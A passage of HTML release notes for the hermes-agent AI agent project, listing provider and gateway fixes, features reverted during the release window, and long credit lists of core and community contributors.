<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 